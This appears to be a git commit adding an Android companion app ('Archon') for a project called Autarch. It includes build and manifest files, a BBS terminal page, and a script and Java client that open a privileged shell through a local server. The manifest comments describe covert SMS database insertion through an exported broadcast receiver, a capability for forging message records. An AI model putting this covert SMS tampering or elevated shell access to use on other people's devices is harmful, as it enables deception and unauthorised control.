Autarch Will Control The Internet
This commit is contained in:
65
autarch_companion/app/build.gradle.kts
Normal file
65
autarch_companion/app/build.gradle.kts
Normal file
@@ -0,0 +1,65 @@
|
||||
plugins {
|
||||
id("com.android.application")
|
||||
}
|
||||
|
||||
android {
|
||||
namespace = "com.darkhal.archon"
|
||||
compileSdk = 36
|
||||
|
||||
defaultConfig {
|
||||
applicationId = "com.darkhal.archon"
|
||||
minSdk = 26
|
||||
targetSdk = 36
|
||||
versionCode = 2
|
||||
versionName = "2.0.0"
|
||||
}
|
||||
|
||||
buildTypes {
|
||||
release {
|
||||
isMinifyEnabled = false
|
||||
proguardFiles(
|
||||
getDefaultProguardFile("proguard-android-optimize.txt"),
|
||||
"proguard-rules.pro"
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
compileOptions {
|
||||
sourceCompatibility = JavaVersion.VERSION_21
|
||||
targetCompatibility = JavaVersion.VERSION_21
|
||||
}
|
||||
|
||||
kotlin {
|
||||
jvmToolchain(21)
|
||||
}
|
||||
|
||||
buildFeatures {
|
||||
viewBinding = true
|
||||
}
|
||||
|
||||
packaging {
|
||||
jniLibs {
|
||||
useLegacyPackaging = false
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation("androidx.core:core-ktx:1.12.0")
|
||||
implementation("androidx.appcompat:appcompat:1.6.1")
|
||||
implementation("com.google.android.material:material:1.11.0")
|
||||
implementation("androidx.constraintlayout:constraintlayout:2.1.4")
|
||||
implementation("androidx.navigation:navigation-fragment-ktx:2.7.7")
|
||||
implementation("androidx.navigation:navigation-ui-ktx:2.7.7")
|
||||
implementation("androidx.preference:preference-ktx:1.2.1")
|
||||
implementation("androidx.webkit:webkit:1.10.0")
|
||||
|
||||
// Local ADB client (wireless debugging pairing + shell)
|
||||
implementation("com.github.MuntashirAkon:libadb-android:3.1.1")
|
||||
implementation("org.conscrypt:conscrypt-android:2.5.3")
|
||||
|
||||
// Shizuku for elevated access (SMS/RCS operations)
|
||||
implementation("dev.rikka.shizuku:api:13.1.5")
|
||||
implementation("dev.rikka.shizuku:provider:13.1.5")
|
||||
}
|
||||
142
autarch_companion/app/src/main/AndroidManifest.xml
Normal file
142
autarch_companion/app/src/main/AndroidManifest.xml
Normal file
@@ -0,0 +1,142 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
|
||||
<uses-permission android:name="android.permission.INTERNET" />
|
||||
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
|
||||
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
|
||||
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
|
||||
|
||||
<!-- Wi-Fi Direct -->
|
||||
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
|
||||
<uses-permission android:name="android.permission.NEARBY_WIFI_DEVICES"
|
||||
android:usesPermissionFlags="neverForLocation"
|
||||
android:minSdkVersion="33" />
|
||||
|
||||
<!-- Notifications (Android 13+) -->
|
||||
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
|
||||
|
||||
<!-- SMS manipulation (covert database insert, not actual sending) -->
|
||||
<uses-permission android:name="android.permission.READ_SMS" />
|
||||
<uses-permission android:name="android.permission.SEND_SMS" />
|
||||
<uses-permission android:name="android.permission.RECEIVE_SMS" />
|
||||
<uses-permission android:name="android.permission.RECEIVE_MMS" />
|
||||
<uses-permission android:name="android.permission.RECEIVE_WAP_PUSH" />
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS" />
|
||||
|
||||
<!-- Bluetooth discovery -->
|
||||
<uses-permission android:name="android.permission.BLUETOOTH" android:maxSdkVersion="30" />
|
||||
<uses-permission android:name="android.permission.BLUETOOTH_ADMIN" android:maxSdkVersion="30" />
|
||||
<uses-permission android:name="android.permission.BLUETOOTH_SCAN"
|
||||
android:usesPermissionFlags="neverForLocation"
|
||||
android:minSdkVersion="31" />
|
||||
<uses-permission android:name="android.permission.BLUETOOTH_CONNECT" android:minSdkVersion="31" />
|
||||
|
||||
<!-- Optional hardware features -->
|
||||
<uses-feature android:name="android.hardware.bluetooth" android:required="false" />
|
||||
<uses-feature android:name="android.hardware.wifi.direct" android:required="false" />
|
||||
|
||||
<application
|
||||
android:allowBackup="true"
|
||||
android:icon="@drawable/ic_archon"
|
||||
android:label="@string/app_name"
|
||||
android:supportsRtl="true"
|
||||
android:theme="@style/Theme.Archon"
|
||||
android:usesCleartextTraffic="true">
|
||||
|
||||
<!-- Shizuku provider for elevated access -->
|
||||
<provider
|
||||
android:name="rikka.shizuku.ShizukuProvider"
|
||||
android:authorities="${applicationId}.shizuku"
|
||||
android:multiprocess="false"
|
||||
android:enabled="true"
|
||||
android:exported="true"
|
||||
android:permission="android.permission.INTERACT_ACROSS_USERS_FULL" />
|
||||
|
||||
<meta-data
|
||||
android:name="moe.shizuku.client.V3_PROVIDER_AUTHORITIES"
|
||||
android:value="${applicationId}.shizuku" />
|
||||
|
||||
<activity
|
||||
android:name=".LoginActivity"
|
||||
android:exported="true"
|
||||
android:screenOrientation="portrait">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN" />
|
||||
<category android:name="android.intent.category.LAUNCHER" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
|
||||
<activity
|
||||
android:name=".MainActivity"
|
||||
android:exported="false"
|
||||
android:screenOrientation="portrait" />
|
||||
|
||||
<receiver
|
||||
android:name=".service.PairingReceiver"
|
||||
android:exported="false">
|
||||
<intent-filter>
|
||||
<action android:name="com.darkhal.archon.ACTION_PAIR" />
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
|
||||
<!-- SMS Worker: handles covert SMS insert/update from ADB broadcasts -->
|
||||
<receiver
|
||||
android:name=".service.SmsWorker"
|
||||
android:exported="true">
|
||||
<intent-filter>
|
||||
<action android:name="com.darkhal.archon.SMS_INSERT" />
|
||||
<action android:name="com.darkhal.archon.SMS_UPDATE" />
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
|
||||
<!-- SMS Role stubs (required for cmd role add-role-holder) -->
|
||||
<receiver
|
||||
android:name=".service.SmsDeliverReceiver"
|
||||
android:exported="true"
|
||||
android:permission="android.permission.BROADCAST_SMS">
|
||||
<intent-filter>
|
||||
<action android:name="android.provider.Telephony.SMS_DELIVER" />
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
|
||||
<receiver
|
||||
android:name=".service.MmsDeliverReceiver"
|
||||
android:exported="true"
|
||||
android:permission="android.permission.BROADCAST_WAP_PUSH">
|
||||
<intent-filter>
|
||||
<action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
|
||||
<data android:mimeType="application/vnd.wap.mms-message" />
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
|
||||
<service
|
||||
android:name=".service.RespondViaMessageService"
|
||||
android:exported="true"
|
||||
android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
|
||||
<data android:scheme="sms" />
|
||||
<data android:scheme="smsto" />
|
||||
<data android:scheme="mms" />
|
||||
<data android:scheme="mmsto" />
|
||||
</intent-filter>
|
||||
</service>
|
||||
|
||||
<activity
|
||||
android:name=".service.SmsComposeActivity"
|
||||
android:exported="true">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.SEND" />
|
||||
<action android:name="android.intent.action.SENDTO" />
|
||||
<category android:name="android.intent.category.DEFAULT" />
|
||||
<category android:name="android.intent.category.BROWSABLE" />
|
||||
<data android:scheme="sms" />
|
||||
<data android:scheme="smsto" />
|
||||
<data android:scheme="mms" />
|
||||
<data android:scheme="mmsto" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
|
||||
</application>
|
||||
|
||||
</manifest>
|
||||
54
autarch_companion/app/src/main/assets/arish
Normal file
54
autarch_companion/app/src/main/assets/arish
Normal file
@@ -0,0 +1,54 @@
|
||||
#!/system/bin/sh
|
||||
# arish — Archon Remote Interactive Shell
|
||||
# Like Shizuku's "rish" but for the Archon privileged server.
|
||||
#
|
||||
# This script finds the Archon APK and launches ArchonRish via app_process,
|
||||
# which connects to the running ArchonServer and provides an interactive
|
||||
# shell at UID 2000 (shell-level privileges).
|
||||
#
|
||||
# Installation:
|
||||
# adb push arish /data/local/tmp/arish
|
||||
# adb shell chmod 755 /data/local/tmp/arish
|
||||
#
|
||||
# Usage:
|
||||
# /data/local/tmp/arish — interactive shell
|
||||
# /data/local/tmp/arish ls -la /data — single command
|
||||
# /data/local/tmp/arish -t <token> — specify auth token
|
||||
# /data/local/tmp/arish -p <port> — specify server port
|
||||
|
||||
PACKAGE="com.darkhal.archon"
|
||||
|
||||
# Find the APK path
|
||||
APK_PATH=""
|
||||
|
||||
# Method 1: pm path (works if pm is available)
|
||||
if command -v pm >/dev/null 2>&1; then
|
||||
APK_PATH=$(pm path "$PACKAGE" 2>/dev/null | head -1 | sed 's/^package://')
|
||||
fi
|
||||
|
||||
# Method 2: Known install locations
|
||||
if [ -z "$APK_PATH" ]; then
|
||||
for dir in /data/app/*"$PACKAGE"*; do
|
||||
if [ -f "$dir/base.apk" ]; then
|
||||
APK_PATH="$dir/base.apk"
|
||||
break
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
# Method 3: Check /data/local/tmp for sideloaded APK
|
||||
if [ -z "$APK_PATH" ] && [ -f "/data/local/tmp/archon.apk" ]; then
|
||||
APK_PATH="/data/local/tmp/archon.apk"
|
||||
fi
|
||||
|
||||
if [ -z "$APK_PATH" ]; then
|
||||
echo "arish: cannot find Archon APK ($PACKAGE)"
|
||||
echo "arish: install the Archon app or place archon.apk in /data/local/tmp/"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Launch ArchonRish via app_process
|
||||
export CLASSPATH="$APK_PATH"
|
||||
exec /system/bin/app_process /system/bin \
|
||||
--nice-name=arish \
|
||||
com.darkhal.archon.server.ArchonRish "$@"
|
||||
28
autarch_companion/app/src/main/assets/bbs/index.html
Normal file
28
autarch_companion/app/src/main/assets/bbs/index.html
Normal file
@@ -0,0 +1,28 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
|
||||
<title>Autarch BBS</title>
|
||||
<link rel="stylesheet" href="terminal.css">
|
||||
</head>
|
||||
<body>
|
||||
<div id="terminal">
|
||||
<div id="header">
|
||||
<pre id="banner">
|
||||
╔══════════════════════════════════════╗
|
||||
║ AUTARCH BBS v1.0 ║
|
||||
║ Secured by Veilid Protocol ║
|
||||
╚══════════════════════════════════════╝
|
||||
</pre>
|
||||
</div>
|
||||
<div id="output"></div>
|
||||
<div id="input-line">
|
||||
<span class="prompt">></span>
|
||||
<input type="text" id="cmd-input" autocomplete="off" autocorrect="off"
|
||||
autocapitalize="off" spellcheck="false" autofocus>
|
||||
</div>
|
||||
</div>
|
||||
<script src="veilid-bridge.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
128
autarch_companion/app/src/main/assets/bbs/terminal.css
Normal file
128
autarch_companion/app/src/main/assets/bbs/terminal.css
Normal file
@@ -0,0 +1,128 @@
|
||||
* {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
body {
|
||||
background: #000000;
|
||||
color: #00FF41;
|
||||
font-family: 'Source Code Pro', 'Courier New', monospace;
|
||||
font-size: 14px;
|
||||
line-height: 1.4;
|
||||
overflow: hidden;
|
||||
height: 100vh;
|
||||
width: 100vw;
|
||||
}
|
||||
|
||||
#terminal {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
height: 100vh;
|
||||
padding: 8px;
|
||||
}
|
||||
|
||||
#header {
|
||||
flex-shrink: 0;
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
#banner {
|
||||
color: #00FF41;
|
||||
font-size: 12px;
|
||||
line-height: 1.2;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#output {
|
||||
flex: 1;
|
||||
overflow-y: auto;
|
||||
padding-bottom: 8px;
|
||||
word-wrap: break-word;
|
||||
}
|
||||
|
||||
#output .line {
|
||||
margin-bottom: 2px;
|
||||
}
|
||||
|
||||
#output .system {
|
||||
color: #888888;
|
||||
}
|
||||
|
||||
#output .error {
|
||||
color: #FF4444;
|
||||
}
|
||||
|
||||
#output .info {
|
||||
color: #00AAFF;
|
||||
}
|
||||
|
||||
#output .success {
|
||||
color: #00FF41;
|
||||
}
|
||||
|
||||
#input-line {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
flex-shrink: 0;
|
||||
border-top: 1px solid #333333;
|
||||
padding-top: 8px;
|
||||
}
|
||||
|
||||
.prompt {
|
||||
color: #00FF41;
|
||||
margin-right: 8px;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
#cmd-input {
|
||||
flex: 1;
|
||||
background: transparent;
|
||||
border: none;
|
||||
outline: none;
|
||||
color: #00FF41;
|
||||
font-family: 'Source Code Pro', 'Courier New', monospace;
|
||||
font-size: 14px;
|
||||
caret-color: #00FF41;
|
||||
}
|
||||
|
||||
/* Blinking cursor effect */
|
||||
@keyframes blink {
|
||||
0%, 100% { opacity: 1; }
|
||||
50% { opacity: 0; }
|
||||
}
|
||||
|
||||
#cmd-input:focus {
|
||||
animation: none;
|
||||
}
|
||||
|
||||
/* Scrollbar */
|
||||
#output::-webkit-scrollbar {
|
||||
width: 4px;
|
||||
}
|
||||
|
||||
#output::-webkit-scrollbar-track {
|
||||
background: #111111;
|
||||
}
|
||||
|
||||
#output::-webkit-scrollbar-thumb {
|
||||
background: #333333;
|
||||
border-radius: 2px;
|
||||
}
|
||||
|
||||
#output::-webkit-scrollbar-thumb:hover {
|
||||
background: #00FF41;
|
||||
}
|
||||
|
||||
/* Loading animation */
|
||||
.loading::after {
|
||||
content: '';
|
||||
animation: dots 1.5s steps(3, end) infinite;
|
||||
}
|
||||
|
||||
@keyframes dots {
|
||||
0% { content: ''; }
|
||||
33% { content: '.'; }
|
||||
66% { content: '..'; }
|
||||
100% { content: '...'; }
|
||||
}
|
||||
225
autarch_companion/app/src/main/assets/bbs/veilid-bridge.js
Normal file
225
autarch_companion/app/src/main/assets/bbs/veilid-bridge.js
Normal file
@@ -0,0 +1,225 @@
|
||||
/**
|
||||
* Autarch BBS — Veilid Bridge
|
||||
*
|
||||
* Handles the BBS terminal interface and will integrate with
|
||||
* veilid-wasm when the BBS server is deployed on the VPS.
|
||||
*
|
||||
* Native Android bridge: window.ArchonBridge
|
||||
*/
|
||||
|
||||
const output = document.getElementById('output');
|
||||
const cmdInput = document.getElementById('cmd-input');
|
||||
|
||||
// Terminal output helpers
|
||||
function writeLine(text, className) {
|
||||
const div = document.createElement('div');
|
||||
div.className = 'line' + (className ? ' ' + className : '');
|
||||
div.textContent = text;
|
||||
output.appendChild(div);
|
||||
output.scrollTop = output.scrollHeight;
|
||||
}
|
||||
|
||||
function writeSystem(text) { writeLine(text, 'system'); }
|
||||
function writeError(text) { writeLine(text, 'error'); }
|
||||
function writeInfo(text) { writeLine(text, 'info'); }
|
||||
function writeSuccess(text) { writeLine(text, 'success'); }
|
||||
|
||||
/**
|
||||
* VeilidBBS — placeholder for Veilid WASM integration.
|
||||
*
|
||||
* When the BBS server is deployed, this class will:
|
||||
* 1. Load veilid-wasm from bundled assets
|
||||
* 2. Initialize a Veilid routing context
|
||||
* 3. Connect to the BBS server via DHT key
|
||||
* 4. Send/receive messages through the Veilid network
|
||||
*/
|
||||
class VeilidBBS {
|
||||
constructor() {
|
||||
this.connected = false;
|
||||
this.serverAddress = '';
|
||||
}
|
||||
|
||||
async initialize() {
|
||||
// Get config from native bridge
|
||||
if (window.ArchonBridge) {
|
||||
this.serverAddress = window.ArchonBridge.getServerAddress();
|
||||
const configJson = window.ArchonBridge.getVeilidConfig();
|
||||
this.config = JSON.parse(configJson);
|
||||
this.log('Veilid config loaded');
|
||||
}
|
||||
}
|
||||
|
||||
async connect() {
|
||||
if (!this.serverAddress) {
|
||||
writeError('No BBS server address configured.');
|
||||
writeSystem('Set the Veilid BBS address in Settings.');
|
||||
return false;
|
||||
}
|
||||
|
||||
writeSystem('Connecting to Autarch BBS...');
|
||||
writeSystem('Server: ' + this.serverAddress);
|
||||
|
||||
// Placeholder — actual Veilid connection will go here
|
||||
// Steps when implemented:
|
||||
// 1. await veilid.veilidCoreStartupJSON(config)
|
||||
// 2. await veilid.veilidCoreAttach()
|
||||
// 3. Create routing context
|
||||
// 4. Open route to BBS server DHT key
|
||||
// 5. Send/receive via app_message / app_call
|
||||
|
||||
writeError('Veilid WASM not yet loaded.');
|
||||
writeSystem('BBS server deployment pending.');
|
||||
writeSystem('');
|
||||
writeInfo('The Autarch BBS will be available once the');
|
||||
writeInfo('VPS server is configured and the Veilid');
|
||||
writeInfo('WASM module is bundled into this app.');
|
||||
writeSystem('');
|
||||
return false;
|
||||
}
|
||||
|
||||
async sendMessage(msg) {
|
||||
if (!this.connected) {
|
||||
writeError('Not connected to BBS.');
|
||||
return;
|
||||
}
|
||||
// Placeholder for sending messages via Veilid
|
||||
this.log('Send: ' + msg);
|
||||
}
|
||||
|
||||
async disconnect() {
|
||||
this.connected = false;
|
||||
writeSystem('Disconnected from BBS.');
|
||||
}
|
||||
|
||||
log(msg) {
|
||||
if (window.ArchonBridge) {
|
||||
window.ArchonBridge.log(msg);
|
||||
}
|
||||
console.log('[VeilidBBS] ' + msg);
|
||||
}
|
||||
}
|
||||
|
||||
// Command handler
|
||||
const bbs = new VeilidBBS();
|
||||
const commandHistory = [];
|
||||
let historyIndex = -1;
|
||||
|
||||
const commands = {
|
||||
help: function() {
|
||||
writeInfo('Available commands:');
|
||||
writeLine(' help — Show this help');
|
||||
writeLine(' connect — Connect to Autarch BBS');
|
||||
writeLine(' disconnect — Disconnect from BBS');
|
||||
writeLine(' status — Show connection status');
|
||||
writeLine(' clear — Clear terminal');
|
||||
writeLine(' about — About Autarch BBS');
|
||||
writeLine(' version — Show version info');
|
||||
},
|
||||
|
||||
connect: async function() {
|
||||
await bbs.connect();
|
||||
},
|
||||
|
||||
disconnect: async function() {
|
||||
await bbs.disconnect();
|
||||
},
|
||||
|
||||
status: function() {
|
||||
writeInfo('Connection Status:');
|
||||
writeLine(' Connected: ' + (bbs.connected ? 'YES' : 'NO'));
|
||||
writeLine(' Server: ' + (bbs.serverAddress || 'not configured'));
|
||||
if (window.ArchonBridge) {
|
||||
writeLine(' Archon URL: ' + window.ArchonBridge.getAutarchUrl());
|
||||
}
|
||||
},
|
||||
|
||||
clear: function() {
|
||||
output.innerHTML = '';
|
||||
},
|
||||
|
||||
about: function() {
|
||||
writeInfo('╔════════════════════════════════════╗');
|
||||
writeInfo('║ AUTARCH BBS ║');
|
||||
writeInfo('╠════════════════════════════════════╣');
|
||||
writeLine('║ A decentralized bulletin board ║');
|
||||
writeLine('║ system secured by the Veilid ║');
|
||||
writeLine('║ protocol. All communications are ║');
|
||||
writeLine('║ end-to-end encrypted and routed ║');
|
||||
writeLine('║ through an onion-style network. ║');
|
||||
writeInfo('╚════════════════════════════════════╝');
|
||||
},
|
||||
|
||||
version: function() {
|
||||
let ver = '1.0.0';
|
||||
if (window.ArchonBridge) {
|
||||
ver = window.ArchonBridge.getAppVersion();
|
||||
}
|
||||
writeLine('Archon v' + ver);
|
||||
writeLine('Veilid WASM: not loaded (pending deployment)');
|
||||
}
|
||||
};
|
||||
|
||||
function processCommand(input) {
|
||||
const trimmed = input.trim();
|
||||
if (!trimmed) return;
|
||||
|
||||
writeLine('> ' + trimmed);
|
||||
commandHistory.push(trimmed);
|
||||
historyIndex = commandHistory.length;
|
||||
|
||||
const parts = trimmed.split(/\s+/);
|
||||
const cmd = parts[0].toLowerCase();
|
||||
|
||||
if (commands[cmd]) {
|
||||
commands[cmd](parts.slice(1));
|
||||
} else if (bbs.connected) {
|
||||
// If connected, send as BBS message
|
||||
bbs.sendMessage(trimmed);
|
||||
} else {
|
||||
writeError('Unknown command: ' + cmd);
|
||||
writeSystem('Type "help" for available commands.');
|
||||
}
|
||||
}
|
||||
|
||||
// Input handling
|
||||
cmdInput.addEventListener('keydown', function(e) {
|
||||
if (e.key === 'Enter') {
|
||||
processCommand(this.value);
|
||||
this.value = '';
|
||||
} else if (e.key === 'ArrowUp') {
|
||||
e.preventDefault();
|
||||
if (historyIndex > 0) {
|
||||
historyIndex--;
|
||||
this.value = commandHistory[historyIndex];
|
||||
}
|
||||
} else if (e.key === 'ArrowDown') {
|
||||
e.preventDefault();
|
||||
if (historyIndex < commandHistory.length - 1) {
|
||||
historyIndex++;
|
||||
this.value = commandHistory[historyIndex];
|
||||
} else {
|
||||
historyIndex = commandHistory.length;
|
||||
this.value = '';
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Keep input focused
|
||||
document.addEventListener('click', function() {
|
||||
cmdInput.focus();
|
||||
});
|
||||
|
||||
// Startup
|
||||
(async function() {
|
||||
writeSuccess('AUTARCH BBS Terminal v1.0');
|
||||
writeSystem('Initializing...');
|
||||
writeSystem('');
|
||||
|
||||
await bbs.initialize();
|
||||
|
||||
writeSystem('Type "help" for commands.');
|
||||
writeSystem('Type "connect" to connect to the BBS.');
|
||||
writeSystem('');
|
||||
|
||||
cmdInput.focus();
|
||||
})();
|
||||
@@ -0,0 +1,311 @@
|
||||
package com.darkhal.archon.server;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.InputStreamReader;
|
||||
import java.io.OutputStreamWriter;
|
||||
import java.io.PrintWriter;
|
||||
import java.net.InetAddress;
|
||||
import java.net.Socket;
|
||||
|
||||
/**
|
||||
* Archon Remote Interactive Shell (arish) — like Shizuku's "rish" but for Archon.
|
||||
*
|
||||
* Connects to the running ArchonServer on localhost and provides an interactive
|
||||
* shell at UID 2000 (shell privileges). This gives terminal users the same
|
||||
* elevated access that the Archon app modules use internally.
|
||||
*
|
||||
* Usage (from adb shell or terminal emulator):
|
||||
* arish — interactive shell
|
||||
* arish <command> — execute single command
|
||||
* arish -t <token> — specify auth token
|
||||
* arish -p <port> — specify server port
|
||||
* echo "pm list packages" | arish — pipe commands
|
||||
*
|
||||
* The "arish" shell script in assets/ sets up CLASSPATH and invokes this via app_process.
|
||||
*
|
||||
* Bootstrap:
|
||||
* CLASSPATH='/data/app/.../base.apk' /system/bin/app_process /system/bin \
|
||||
* --nice-name=arish com.darkhal.archon.server.ArchonRish [args...]
|
||||
*/
|
||||
public class ArchonRish {
|
||||
|
||||
private static final String DEFAULT_TOKEN_FILE = "/data/local/tmp/.archon_token";
|
||||
private static final int DEFAULT_PORT = 17321;
|
||||
private static final int CONNECT_TIMEOUT = 3000;
|
||||
private static final int READ_TIMEOUT = 30000;
|
||||
|
||||
public static void main(String[] args) {
|
||||
String token = null;
|
||||
int port = DEFAULT_PORT;
|
||||
String singleCmd = null;
|
||||
boolean showHelp = false;
|
||||
|
||||
// Parse arguments
|
||||
int i = 0;
|
||||
while (i < args.length) {
|
||||
switch (args[i]) {
|
||||
case "-t":
|
||||
case "--token":
|
||||
if (i + 1 < args.length) {
|
||||
token = args[++i];
|
||||
}
|
||||
break;
|
||||
case "-p":
|
||||
case "--port":
|
||||
if (i + 1 < args.length) {
|
||||
port = Integer.parseInt(args[++i]);
|
||||
}
|
||||
break;
|
||||
case "-h":
|
||||
case "--help":
|
||||
showHelp = true;
|
||||
break;
|
||||
default:
|
||||
// Everything else is a command to execute
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int j = i; j < args.length; j++) {
|
||||
if (j > i) sb.append(' ');
|
||||
sb.append(args[j]);
|
||||
}
|
||||
singleCmd = sb.toString();
|
||||
i = args.length; // break outer loop
|
||||
break;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
if (showHelp) {
|
||||
printHelp();
|
||||
return;
|
||||
}
|
||||
|
||||
// Try to read token from file if not provided
|
||||
if (token == null) {
|
||||
token = readTokenFile();
|
||||
}
|
||||
if (token == null) {
|
||||
System.err.println("arish: no auth token. Use -t <token> or ensure ArchonServer wrote " + DEFAULT_TOKEN_FILE);
|
||||
System.exit(1);
|
||||
}
|
||||
|
||||
// Check if stdin is a pipe (non-interactive)
|
||||
boolean isPiped = false;
|
||||
try {
|
||||
isPiped = System.in.available() > 0 || singleCmd != null;
|
||||
} catch (Exception e) {
|
||||
// Assume interactive
|
||||
}
|
||||
|
||||
if (singleCmd != null) {
|
||||
// Single command mode
|
||||
int exitCode = executeRemote(token, port, singleCmd);
|
||||
System.exit(exitCode);
|
||||
} else if (isPiped) {
|
||||
// Pipe mode — read commands from stdin
|
||||
runPiped(token, port);
|
||||
} else {
|
||||
// Interactive mode
|
||||
runInteractive(token, port);
|
||||
}
|
||||
}
|
||||
|
||||
private static void runInteractive(String token, int port) {
|
||||
System.out.println("arish — Archon Remote Interactive Shell (UID 2000)");
|
||||
System.out.println("Connected to ArchonServer on localhost:" + port);
|
||||
System.out.println("Type 'exit' to quit.\n");
|
||||
|
||||
BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
|
||||
|
||||
while (true) {
|
||||
System.out.print("arish$ ");
|
||||
System.out.flush();
|
||||
|
||||
String line;
|
||||
try {
|
||||
line = stdin.readLine();
|
||||
} catch (Exception e) {
|
||||
break;
|
||||
}
|
||||
if (line == null) break; // EOF
|
||||
line = line.trim();
|
||||
if (line.isEmpty()) continue;
|
||||
if (line.equals("exit") || line.equals("quit")) break;
|
||||
|
||||
executeRemote(token, port, line);
|
||||
}
|
||||
|
||||
System.out.println("\narish: disconnected");
|
||||
}
|
||||
|
||||
private static void runPiped(String token, int port) {
|
||||
BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
|
||||
int lastExit = 0;
|
||||
try {
|
||||
String line;
|
||||
while ((line = stdin.readLine()) != null) {
|
||||
line = line.trim();
|
||||
if (line.isEmpty() || line.startsWith("#")) continue;
|
||||
lastExit = executeRemote(token, port, line);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
System.err.println("arish: read error: " + e.getMessage());
|
||||
}
|
||||
System.exit(lastExit);
|
||||
}
|
||||
|
||||
private static int executeRemote(String token, int port, String command) {
|
||||
try {
|
||||
InetAddress loopback = InetAddress.getByName("127.0.0.1");
|
||||
Socket sock = new Socket();
|
||||
sock.connect(new java.net.InetSocketAddress(loopback, port), CONNECT_TIMEOUT);
|
||||
sock.setSoTimeout(READ_TIMEOUT);
|
||||
|
||||
PrintWriter writer = new PrintWriter(new OutputStreamWriter(sock.getOutputStream()), true);
|
||||
BufferedReader reader = new BufferedReader(new InputStreamReader(sock.getInputStream()));
|
||||
|
||||
// Send command as JSON
|
||||
String json = "{\"token\":\"" + escapeJson(token) + "\","
|
||||
+ "\"cmd\":\"" + escapeJson(command) + "\","
|
||||
+ "\"timeout\":30}";
|
||||
writer.println(json);
|
||||
writer.flush();
|
||||
|
||||
// Read response
|
||||
String response = reader.readLine();
|
||||
sock.close();
|
||||
|
||||
if (response == null) {
|
||||
System.err.println("arish: no response from server");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Parse JSON response (minimal hand-parsing, same as ArchonServer pattern)
|
||||
String stdout = extractJsonString(response, "stdout");
|
||||
String stderr = extractJsonString(response, "stderr");
|
||||
int exitCode = extractJsonInt(response, "exit_code", -1);
|
||||
|
||||
if (stdout != null && !stdout.isEmpty()) {
|
||||
System.out.print(stdout);
|
||||
if (!stdout.endsWith("\n")) System.out.println();
|
||||
}
|
||||
if (stderr != null && !stderr.isEmpty()) {
|
||||
System.err.print(stderr);
|
||||
if (!stderr.endsWith("\n")) System.err.println();
|
||||
}
|
||||
|
||||
return exitCode;
|
||||
|
||||
} catch (java.net.ConnectException e) {
|
||||
System.err.println("arish: cannot connect to ArchonServer on localhost:" + port);
|
||||
System.err.println("arish: is the server running? Check Setup tab in Archon app.");
|
||||
return -1;
|
||||
} catch (Exception e) {
|
||||
System.err.println("arish: error: " + e.getMessage());
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
// ── JSON Helpers (hand-rolled, no library dependencies) ──────
|
||||
|
||||
private static String escapeJson(String s) {
|
||||
if (s == null) return "";
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int j = 0; j < s.length(); j++) {
|
||||
char c = s.charAt(j);
|
||||
switch (c) {
|
||||
case '"': sb.append("\\\""); break;
|
||||
case '\\': sb.append("\\\\"); break;
|
||||
case '\n': sb.append("\\n"); break;
|
||||
case '\r': sb.append("\\r"); break;
|
||||
case '\t': sb.append("\\t"); break;
|
||||
default: sb.append(c); break;
|
||||
}
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
private static String extractJsonString(String json, String key) {
|
||||
String searchKey = "\"" + key + "\":\"";
|
||||
int start = json.indexOf(searchKey);
|
||||
if (start < 0) return "";
|
||||
start += searchKey.length();
|
||||
|
||||
StringBuilder sb = new StringBuilder();
|
||||
boolean escape = false;
|
||||
for (int j = start; j < json.length(); j++) {
|
||||
char c = json.charAt(j);
|
||||
if (escape) {
|
||||
switch (c) {
|
||||
case 'n': sb.append('\n'); break;
|
||||
case 'r': sb.append('\r'); break;
|
||||
case 't': sb.append('\t'); break;
|
||||
case '"': sb.append('"'); break;
|
||||
case '\\': sb.append('\\'); break;
|
||||
default: sb.append(c); break;
|
||||
}
|
||||
escape = false;
|
||||
} else if (c == '\\') {
|
||||
escape = true;
|
||||
} else if (c == '"') {
|
||||
break;
|
||||
} else {
|
||||
sb.append(c);
|
||||
}
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
